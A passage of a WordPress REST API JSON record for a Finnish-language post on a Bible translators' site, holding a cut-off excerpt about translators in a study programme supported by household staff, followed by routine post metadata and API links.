k\u00e4\u00e4nt\u00e4j\u00e4\u00e4mme ovat asettuneet tiukkaan ja vaativaan opinto-ohjelman rutiiniin ja into ja ilo on kova. Heit\u00e4 auttaa tukea antava l\u00e4mmin ja huolehtiva koti, antautuneen palveluv\u00e4en ansiosta, nyt Soili, Aulis ja Anna. Israelissa [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":1316,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3,8],"tags":[],"class_list":["post-1314","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uutiset","category-ystavakirjeet"],"_links":{"self":[{"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/posts\/1314","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1314"}],"version-history":[{"count":4,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/posts\/1314\/revisions"}],"predecessor-version":[{"id":1324,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/posts\/1314\/revisions\/1324"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/media\/1316"}],"wp:attachment":[{"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1314"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1314"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1314"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}